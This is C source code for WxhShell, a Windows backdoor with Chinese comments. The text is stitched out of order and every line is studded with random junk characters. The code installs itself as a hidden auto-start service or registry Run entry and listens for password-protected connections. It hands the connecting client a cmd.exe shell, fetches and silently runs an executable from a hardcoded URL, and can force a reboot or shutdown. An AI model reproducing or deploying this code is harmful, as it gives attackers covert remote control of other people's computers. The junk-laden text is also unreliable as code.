    closesocket(wsh); <\}Y@g8  
    ExitThread(0); fcE/  
    } .UT,lqEkv  
    break; {0A[v}X ~  
    } hVT=j ?~  
  // 获取shell DSDl[;3O{s  
  case 's': { D<_,>{$gW  
    CmdShell(wsh); }QWTPRn  
    closesocket(wsh); RKo P6LGw  
    ExitThread(0); :{wsd$Qlj  
    break; yNLa3mW  
  } JL.yd H79  
  // 退出 r7Q:l ?F2  
  case 'x': { -_{C+Y_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c5=v`hv  
    CloseIt(wsh); aCUV[CPw  
    break; /,rF$5G,  
    } 48~m=mI  
  // 离开 SQ^^1.V&/Y  
  case 'q': { '&pf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ld!6|~0U  
    closesocket(wsh); ^O$[Y9~*  
    WSACleanup(); +]S;U&vQ  
    exit(1); H4y1Hpa,  
    break; So)KI_M  
        } (v'lb!j^#  
  } _Y ><ih  
  } 0'\FrG  
k@t,[  
  // 提示信息 < ;%q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !0. 5  
} pzt Zb  
  } px [1#*  
5QL9 w3L  
  return; -aH?7HV}  
} XY+aunLf  
G"U>fwFuK  
// shell模块句柄 2W"cTm  
int CmdShell(SOCKET sock) AG$-U2ap  
{ a_pCjG89  
STARTUPINFO si; llZ"uTK\M  
ZeroMemory(&si,sizeof(si)); /ie3H,2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tRUsZl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6t7;}t]t  
PROCESS_INFORMATION ProcessInfo; >+; b>  
char cmdline[]="cmd"; 4M0v1`k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZB^4(F')H  
  return 0; :E >n)_^  
} 7>2j=Y_Kp  
S"KTL*9D  
// 自身启动模式 ~\)&{ '  
int StartFromService(void) QzFv;  
{ &Xl_sDvt  
typedef struct z[lRb]:i[  
{ m|ERf2-  
  DWORD ExitStatus; soqNzdTB2  
  DWORD PebBaseAddress; Y8`))MeD  
  DWORD AffinityMask; ZTBFV/{  
  DWORD BasePriority; E!}-qbH^  
  ULONG UniqueProcessId; S!I <m&Cgc  
  ULONG InheritedFromUniqueProcessId; #o"HD6e  
}   PROCESS_BASIC_INFORMATION; TJw.e/  
Pu%>j'A  
PROCNTQSIP NtQueryInformationProcess; uDE91.pUkr  
 Sj{rvW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @'<j!CqQ o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1[gjb((  
P{i8  
  HANDLE             hProcess; <k-@R!K~JC  
  PROCESS_BASIC_INFORMATION pbi; U70@}5!  
R8r[;u\iV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H`6Jq?\  
  if(NULL == hInst ) return 0; S9"y@F <  
VU+s7L0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -{:Lx E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FvI0 J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dVmAMQk.g  
<1g1hqK3  
  if (!NtQueryInformationProcess) return 0; E-U;8cOMv  
SKc T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PcSoG\- G<  
  if(!hProcess) return 0; dpGQ0EzH^  
<j8&u/Za~'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fkv{\zN  
N>6yacTB  
  CloseHandle(hProcess); u.L8tR:(  
! ^*;c#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v$Y1+Ep9  
if(hProcess==NULL) return 0; !K^kKP*l  
NX{-D}1X=  
HMODULE hMod; }Mb'tGW  
char procName[255]; _F|_C5A  
unsigned long cbNeeded; p4t!T=o/  
^a#&wW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q0"F> %Cn  
fddbXs0Sn  
  CloseHandle(hProcess); QWW7I.9r  
(Q]Y> '  
if(strstr(procName,"services")) return 1; // 以服务启动 hIO4%RQj_  
vzrD"  
  return 0; // 注册表启动 E=_B@VJknW  
} wyzBkRg.  
iJKm27 ">  
// 主模块 6$vh qg}f  
int StartWxhshell(LPSTR lpCmdLine) D)~nAkVq  
{ HAUTCX  
  SOCKET wsl; -IsdU7}  
BOOL val=TRUE; (zYSSf!I  
  int port=0; K"6+X|yxE  
  struct sockaddr_in door; 6!Ji>h.Ak  
_:=OHURc  
  if(wscfg.ws_autoins) Install(); O<d?'{  
vb ^!(  
port=atoi(lpCmdLine); }`/n2  
[@)z$W  
if(port<=0) port=wscfg.ws_port; gJFpEA {  
wZ3 vF)2s  
  WSADATA data; 10I`AjF0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b;;Kxi:7$}  
&{4Mo,x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D%Jc?6/I#3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pc; 14M  
  door.sin_family = AF_INET; j!_^5d#d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *(q8?x0>  
  door.sin_port = htons(port); f!8m  
N9h@1'>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |&RX>UW$W  
closesocket(wsl); bvu<IXX=2  
return 1; G8DIig<  
} ,bwopRcA  
AFB 7s z  
  if(listen(wsl,2) == INVALID_SOCKET) { ?Nze P?g  
closesocket(wsl); rMg{j gD  
return 1; b%jG?HSu  
} (kNTXhAr4  
  Wxhshell(wsl); GGQ(|?w  
  WSACleanup(); =^AZx)Kwd  
TNT"2FoBd  
return 0; GKx,6E#JM  
@P5@ &G  
} Ft8h=  
f5qHBQ  
// 以NT服务方式启动 D& 6Qk&>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I 3,e)Z  
{ CU^3L|f2N  
DWORD   status = 0; @C [|'[xQ  
  DWORD   specificError = 0xfffffff; G@<lwnvD*J  
\C2P{q/m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {,C8}8 a W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; % ih7Jt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +P)[|y +e  
  serviceStatus.dwWin32ExitCode     = 0; !#gE'(J;c  
  serviceStatus.dwServiceSpecificExitCode = 0; -%gd')@SfD  
  serviceStatus.dwCheckPoint       = 0; 'xXqEwi4  
  serviceStatus.dwWaitHint       = 0; w |FV qX  
QOy&!6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z.Kq}r^  
  if (hServiceStatusHandle==0) return; wp GnS  
Rf0\CEc  
status = GetLastError(); JEF7hJz~  
  if (status!=NO_ERROR) YM* 6W?  
{ '2J6%Gg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QV7c9)<]'}  
    serviceStatus.dwCheckPoint       = 0; o@`E.4  
    serviceStatus.dwWaitHint       = 0; _@;3$eB  
    serviceStatus.dwWin32ExitCode     = status; +|)#yE$aMh  
    serviceStatus.dwServiceSpecificExitCode = specificError; k:@Ls  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m+^;\DFJ,  
    return; f4y;K>u7p  
  } ot<o&  
9Kx:^~}20o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >N1]h'q>  
  serviceStatus.dwCheckPoint       = 0; ~dr1Qi#j?  
  serviceStatus.dwWaitHint       = 0; HV7(6VSJ+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :#htOsP  
} zjh9ZLu[  
7-g4S]r<  
// 处理NT服务事件,比如:启动、停止 +9F#~{v`4a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KXfW&d(Pk  
{ Y@S6m@.$  
switch(fdwControl) r<N*N,~  
{ ^?xJpr%)  
case SERVICE_CONTROL_STOP: Z=[a 8CU  
  serviceStatus.dwWin32ExitCode = 0; g E+OQWu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z3~*R7G8>  
  serviceStatus.dwCheckPoint   = 0; D2 cIVx3:(  
  serviceStatus.dwWaitHint     = 0; q>4i0p8^  
  { F1*rUsRKN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {u6fa>R&$  
  }  `e=n( D  
  return; `'.x*MNF  
case SERVICE_CONTROL_PAUSE: gH55c aF<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CWsv#XOg]  
  break; hg=G//  
case SERVICE_CONTROL_CONTINUE: 0F'UFn>{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rAw1g,&  
  break; NKhR%H  
case SERVICE_CONTROL_INTERROGATE: #$B,8LFz,$  
  break; yzR=:0J  
}; U`_vF~el~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )&!@O$RS8(  
} E!l1a5qB  
W@C tFU9  
// 标准应用程序主函数 mg/kyua^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !:[n3.vm   
{ NRF%Qd8I/2  
#LgoKiP!Y  
// 获取操作系统版本 FtDA k?  
OsIsNt=GetOsVer(); }v ,P3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .(]1PKW  
8'Bl=C|0X  
  // 从命令行安装 ByvqwJY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Lgvy/uN  
|Z|xM  
  // 下载执行文件 8%f! X51  
if(wscfg.ws_downexe) { U(LR('-h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |L{dQ)-'l  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Y(qpC:$  
} ;]x5;b9`  
6YGr"Kj &  
if(!OsIsNt) { gF5EtdN?|  
// 如果时win9x,隐藏进程并且设置为注册表启动 5mVu]T`  
HideProc(); !sQ8,l0h  
StartWxhshell(lpCmdLine); EZRZ)h  
} K -1~K  
else \ySc uT  
  if(StartFromService())   NX_S  
  // 以服务方式启动 >*xzSd? \  
  StartServiceCtrlDispatcher(DispatchTable); (k.7q~:  
else e-=PT 1T`  
  // 普通方式启动 4!%LD(jB`B  
  StartWxhshell(lpCmdLine); Y!$ z7K  
G{=$/&St  
return 0; 6dp_R2zH~o  
} I;:_25WGC  
gdNp2b  
7/!C  
SJ+-H83x  
=========================================== :#jv4N  
.cog9H'  
'p]qN;`'O$  
`.WKU"To  
9GaER+d|  
]%hI-  
" /loN Outw  
Bd[Gsns  
#include <stdio.h> gg_(%.>  
#include <string.h> a Z, Wa-k  
#include <windows.h> 0EU4irMa  
#include <winsock2.h> @sO.g_yM  
#include <winsvc.h> V@-GQP1  
#include <urlmon.h> ~J:lC u  
|XG7UH  
#pragma comment (lib, "Ws2_32.lib") Kp;o?5H  
#pragma comment (lib, "urlmon.lib") kcUt!PL  
Te#[+B?  
#define MAX_USER   100 // 最大客户端连接数 _>64XUZ<n  
#define BUF_SOCK   200 // sock buffer Q3Lqj2r  
#define KEY_BUFF   255 // 输入 buffer >[=`{B  
*.l=> #qF  
#define REBOOT     0   // 重启 ka%pS  
#define SHUTDOWN   1   // 关机 ox#4|<qM  
tRCd(Z,WY  
#define DEF_PORT   5000 // 监听端口 3l[hkRFu`  
IxR:a(  
#define REG_LEN     16   // 注册表键长度 LnX^*;P5t  
#define SVC_LEN     80   // NT服务名长度 GefgOlg5"  
vdzC2T  
// 从dll定义API T/5U lW|\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U6PUt'Kk@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kICYPy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S3cQC`^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~zRd||qv  
I =pdjD  
// wxhshell配置信息 Fj4:_(%nG  
struct WSCFG { 1+iiiVbMH  
  int ws_port;         // 监听端口 *n5g";k|  
  char ws_passstr[REG_LEN]; // 口令 `<G+ N  
  int ws_autoins;       // 安装标记, 1=yes 0=no li^E$9oWC  
  char ws_regname[REG_LEN]; // 注册表键名 wE2?/wb  
  char ws_svcname[REG_LEN]; // 服务名 v8N1fuP}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $hh=-#J8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -+/|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BJ/%{ C`g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cG6+'=]3<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \v Go5`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4+:u2&I  
v)EJ|2`  
}; r$zXb9a|<  
E;0"1 P|S  
// default Wxhshell configuration JJXf%o0yq  
struct WSCFG wscfg={DEF_PORT, <h[^&CY{  
    "xuhuanlingzhe", ,0xN#&?Ohh  
    1, uRg^:  
    "Wxhshell", ]d FWIvC  
    "Wxhshell", 8nM]G4H.f  
            "WxhShell Service", ?'r[P03  
    "Wrsky Windows CmdShell Service", }e)ltp|  
    "Please Input Your Password: ", q9^r2OO  
  1, \W!<xE  
  "http://www.wrsky.com/wxhshell.exe", 5T`39[Fya  
  "Wxhshell.exe" %## bg<  
    }; ;d:7\  
` (<>`  
// 消息定义模块 bfgLU.1I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |kD?^Nx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S1JB]\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ga1RMRu+  
char *msg_ws_ext="\n\rExit."; EIAT*l:NW  
char *msg_ws_end="\n\rQuit."; HAXx`r<  
char *msg_ws_boot="\n\rReboot..."; [gDvAtTZ5  
char *msg_ws_poff="\n\rShutdown..."; /hHD\+0({  
char *msg_ws_down="\n\rSave to "; O.!?O(  
'|.u*M,b  
char *msg_ws_err="\n\rErr!"; Zzs pE}  
char *msg_ws_ok="\n\rOK!"; DlP=R  
'_8Vay~  
char ExeFile[MAX_PATH]; N !:&$z-  
int nUser = 0; = 8n*%NC  
HANDLE handles[MAX_USER]; mc$dR, H0  
int OsIsNt; Sw~<W%! ?  
h 9/68Gc?6  
SERVICE_STATUS       serviceStatus; yL1\V7GI{[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DpAuI w7|  
5k@ k  
// 函数声明 F7d f  
int Install(void); 3[$VW+YV  
int Uninstall(void); .KV?;{~q@  
int DownloadFile(char *sURL, SOCKET wsh); k<y$[xV  
int Boot(int flag); @<+(40`*  
void HideProc(void); 'tc$#f^:  
int GetOsVer(void); $xqphhBg  
int Wxhshell(SOCKET wsl); F-t-d1w6  
void TalkWithClient(void *cs); P`0aU3pl  
int CmdShell(SOCKET sock); Z(FAQ\7  
int StartFromService(void); >r3Wo%F'  
int StartWxhshell(LPSTR lpCmdLine); s_|wvOW)'  
{^v50d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^H>vJT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;X>KP,/r$  
/D~:Ufw  
// 数据结构和表定义 &'Ch[Wo]H  
SERVICE_TABLE_ENTRY DispatchTable[] = XyhdsH5%3!  
{ ~lMsD~$sO  
{wscfg.ws_svcname, NTServiceMain}, rYT3oqpfT  
{NULL, NULL} ]yyfE7{q  
}; Y,9("'bo  
v^pE= f*/  
// 自我安装 h^4oy^9  
int Install(void) ,Tpds^  
{ a)xN(xp##  
  char svExeFile[MAX_PATH]; ,PnEDQ|l  
  HKEY key; l\bBc, %jt  
  strcpy(svExeFile,ExeFile); zOcMc{w0   
/bVI'fT  
// 如果是win9x系统,修改注册表设为自启动 }'3V(;9  
if(!OsIsNt) { 'del|"h!M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i/->g:47P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); umj7-fh  
  RegCloseKey(key); v/)dsSNZ0u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6@ + >UZr\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r$+9grm<  
  RegCloseKey(key); BZE19!  
  return 0; NLj0\Pz|B  
    } Z#0z#M`  
  } 15870xS  
}  ^rI&BN@S  
else { Pai{?<zGi  
VF4F7'  
// 如果是NT以上系统,安装为系统服务 ks! G \<I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tTY(I1  
if (schSCManager!=0) 7oUYRqd  
{ 4&?%"2  
  SC_HANDLE schService = CreateService ?qdG)jo=  
  ( ]wP)!UZ  
  schSCManager, O32:j   
  wscfg.ws_svcname, L3&NGcd  
  wscfg.ws_svcdisp, h><;TAp  
  SERVICE_ALL_ACCESS, R|_?yV[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qv8Z64#  
  SERVICE_AUTO_START, &9'6hMu  
  SERVICE_ERROR_NORMAL, KzhldMJ^zq  
  svExeFile, @wB$qd;v  
  NULL, % Dya-  
  NULL, K }r%OOn0  
  NULL, Ek84yme#  
  NULL, W}KtB1J  
  NULL .n"aQ@!  
  ); gB?#T  
  if (schService!=0) . a~J.0co  
  { sLCL\dWT  
  CloseServiceHandle(schService); XI pXP,Yy  
  CloseServiceHandle(schSCManager); ;i1H {hB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :.@gd7T  
  strcat(svExeFile,wscfg.ws_svcname); 1Azigd0%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,]>Eg6B,u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )wAqaG_d  
  RegCloseKey(key); x3]es"4Q  
  return 0; Z$T1nm%lo:  
    } ;]|Z8#s  
  } RTSg=    
  CloseServiceHandle(schSCManager); I#m5Tl|#  
} .HMO7n6)8l  
} H!,#Z7s  
WPLAh_fe  
return 1; JVU:`BH  
} *V>Iv/(  
>0{{ loqq  
// 自我卸载 T-eeYw?Yf  
int Uninstall(void) Cdc6<8  
{ TR]~r2z  
  HKEY key; 'Exj|Y&  
u=A&n6Q[Vo  
if(!OsIsNt) { MAhcwmZNy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J-hP4t&x  
  RegDeleteValue(key,wscfg.ws_regname); 8hGp?Ihu  
  RegCloseKey(key); |0dmdrKD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #R@{Bu=C  
  RegDeleteValue(key,wscfg.ws_regname); ? %F*{3IP  
  RegCloseKey(key); (`xhh  
  return 0; ?> }bg  
  } 59IxY ?  
} J'|qFS  
} 5|";L&`  
else { nRJcYl~ Y  
eQNo'cz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rm<(6zY  
if (schSCManager!=0) e!Y:UB2 7u  
{ GRS[r@W[1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zn|vT&:Hg  
  if (schService!=0) <T{PuS1<o  
  { q B5cF_  
  if(DeleteService(schService)!=0) { 7$k[cL1  
  CloseServiceHandle(schService); ,i e84o  
  CloseServiceHandle(schSCManager); {!@Pho)Q  
  return 0; \2@OS6LUe  
  } IZoa7S&t  
  CloseServiceHandle(schService); \5cAOBja  
  } nxw]B"Eg  
  CloseServiceHandle(schSCManager); Z25^+)uf*U  
} pS;jrq I#  
} j-ZKEA{:1  
Q&rpW:^v  
return 1; `XS6t)!ik  
} UJ<eF/KSmG  
~Qeyh^wo  
// 从指定url下载文件 a=T_I1  
int DownloadFile(char *sURL, SOCKET wsh) aovRm|aOo'  
{ (g*2OS  
  HRESULT hr; Vnlns2pQl  
char seps[]= "/"; UF3WpA  
char *token; }mzM'9JH  
char *file; tgKmC I  
char myURL[MAX_PATH]; ,~p'p)  
char myFILE[MAX_PATH]; VD#`1g<  
MPhO#;v  
strcpy(myURL,sURL); ]^uO3!+  
  token=strtok(myURL,seps); a 39Kl_\  
  while(token!=NULL) "WV]| TS"]  
  { q4C$-W%rj  
    file=token; HNu/b)-Rb  
  token=strtok(NULL,seps); <p;cR` %uE  
  } [/.o>R#J(  
9X/c%:)\=  
GetCurrentDirectory(MAX_PATH,myFILE); uW },I6g  
strcat(myFILE, "\\"); 7;ZSeQ yC  
strcat(myFILE, file); +pURF&Pr  
  send(wsh,myFILE,strlen(myFILE),0); 3@f@4t@5V  
send(wsh,"...",3,0); m_wBRan  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dq?{?~3  
  if(hr==S_OK) T.]+T[}!  
return 0; #p_3j 0S  
else 4{7O}f  
return 1; Pfj{TT.#L  
~&8ag`  
} M#c.(QdF  
-}_-#L!Q  
// 系统电源模块 -SnP+X!  
int Boot(int flag) n.Iu|,?q  
{ icLf; @  
  HANDLE hToken; c;C:$B7  
  TOKEN_PRIVILEGES tkp; )/A IfH  
) ,1MR=  
  if(OsIsNt) { 7+QD=j-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dOh`F~ Y)e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EW7heIT$  
    tkp.PrivilegeCount = 1; tQ=M=BPZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l$=Y(Xk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n@r'b{2;l  
if(flag==REBOOT) { Q[O[,Rk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) </(bwc~2  
  return 0; $$_aHkI j  
}  K6d9[;F  
else { (P&~PJH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -*t4(wT|j  
  return 0; 794V(;sW,  
} g&I/b/A  
  } [x Xa3W  
  else { ="hh=x.5J  
if(flag==REBOOT) { fS+Ga1CsH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =QXLr+ y@  
  return 0; bq{":[a  
} U2l7@uDr;  
else { "$#X[ .  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]c%yib  
  return 0; })f4`$qf  
} L8sHG$[  
} :\[W]  
5RD\XgyN]  
return 1; $Kw)BnV  
} R1u1  
". #=_/op  
// win9x进程隐藏模块 T5(]/v,UT  
void HideProc(void) 'i#m%D`dt  
{ |>(d^<nR^v  
f Glvx~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gu?O yL  
  if ( hKernel != NULL ) %GG:F^X#  
  { t ' _Au8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p w(eWP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r6k0=6i  
    FreeLibrary(hKernel); HF>Gf2- C  
  } =>Ss:SGjT  
Jv(9w[  
return; H=b54.J8&  
} e }>8rnR{  
[ aC7  
// 获取操作系统版本 8G@Ie  
int GetOsVer(void) ?\[2Po]n  
{ #'m&<g,  
  OSVERSIONINFO winfo; } m5AO4:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v%N/mL+5L  
  GetVersionEx(&winfo); aD)XxXwozm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lYEMrr!KQw  
  return 1; jzCSxuZ7O  
  else $=?1>zvF  
  return 0; ".aypD)W  
} tg%s#lLeH  
>; a_i>[  
// 客户端句柄模块 T 1'8<pJ^  
int Wxhshell(SOCKET wsl) *9V;;bY#  
{ ~gU.z6us  
  SOCKET wsh; >b9nc\~  
  struct sockaddr_in client; ]*b}^PQM^  
  DWORD myID; )Lt|]|1B{  
)\fAy  
  while(nUser<MAX_USER) Zq wxi1  
{ '@OqWdaR  
  int nSize=sizeof(client); "o" ujQ(v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4wfT8CL  
  if(wsh==INVALID_SOCKET) return 1; . !gkJ  
lFvRXV^+f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :6R0=oz  
if(handles[nUser]==0) hF`e>?bN  
  closesocket(wsh); W[B%,Km%]  
else t [gz#'  
  nUser++; #m 2Ss  
  } $v|/*1S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7)iB6RB K  
kT|{5Kn&s  
  return 0; x0aPY;,N0  
} =~;SUO  
?1%/G<  
// 关闭 socket n27df9L  
void CloseIt(SOCKET wsh) =R+z\`2  
{ dMkDNaH,  
closesocket(wsh); MZ" yjQA  
nUser--; zQY|=4NP  
ExitThread(0); Om #m":  
} 5:[<pY!s#  
^@W98_bd;  
// 客户端请求句柄 *5KV DOd  
void TalkWithClient(void *cs) cH$zDm1  
{ />1Ndj  
(S ~|hk^  
  SOCKET wsh=(SOCKET)cs; 43_;Z| T  
  char pwd[SVC_LEN]; j TVh`d< N  
  char cmd[KEY_BUFF]; :|%dV}j  
char chr[1]; BN!N_r  
int i,j; )Rhy^<xH  
E+XpgR5  
  while (nUser < MAX_USER) { 8)I,WWj  
UuDT=_1Sh  
if(wscfg.ws_passstr) { m(Hb! RT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( `V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 77y_?di^I  
  //ZeroMemory(pwd,KEY_BUFF); SCbN(OBN!  
      i=0; z=ItKoM*<  
  while(i<SVC_LEN) { MF+J3)  
~lB im$o  
  // 设置超时 j9)WInYc:  
  fd_set FdRead; 3@u<Sa  
  struct timeval TimeOut; GE+ %V7  
  FD_ZERO(&FdRead); $@ /K/"  
  FD_SET(wsh,&FdRead); b-sbRR  
  TimeOut.tv_sec=8; n<Vq@=9AE  
  TimeOut.tv_usec=0; WxNPAJ6YH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vfb~S~|U6g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B(}u:[ b^S  
i1ph{;C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &V. ps1  
  pwd=chr[0]; F_8 < tA6  
  if(chr[0]==0xd || chr[0]==0xa) { .}KY*y  
  pwd=0; 8J60+2Wa  
  break; #ma#oWqF}  
  } +h!OdWD9  
  i++; jVh I`F{n  
    } {/f\lS.5g  
FmU>q)  
  // 如果是非法用户,关闭 socket 8u+FWbOl]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B o@B9/ABv  
} }1EfyR  
UzLe#3MU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hAHZN^x&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X^L)5n+$X  
z$'_ =9yZ  
while(1) { b"`Vn,  
:mwNkT2et  
  ZeroMemory(cmd,KEY_BUFF); qw]:oh&G  
lWYZAF>?Ym  
      // 自动支持客户端 telnet标准   3hzI6otKS  
  j=0; Q/e$Ttt4J  
  while(j<KEY_BUFF) { OKDBzl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vq7L:,N9  
  cmd[j]=chr[0]; Vf Jpiv1  
  if(chr[0]==0xa || chr[0]==0xd) { gHU/yi!T  
  cmd[j]=0; XS!mtd<q  
  break; h-"c )?p  
  } B?}ZAw>  
  j++; wd4wYk\  
    } h/9{E:ML  
4J lB\8rc  
  // 下载文件 l.tNq$3pS  
  if(strstr(cmd,"http://")) { 6mH0|:CsY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7nh,j <~;2  
  if(DownloadFile(cmd,wsh)) x50,4J%J'r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WdXi  
  else C %l!"s^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .A;D-"!  
  } zbL!q_wO  
  else { idL6*%M  
3`9H  
    switch(cmd[0]) { !L3M\Q0  
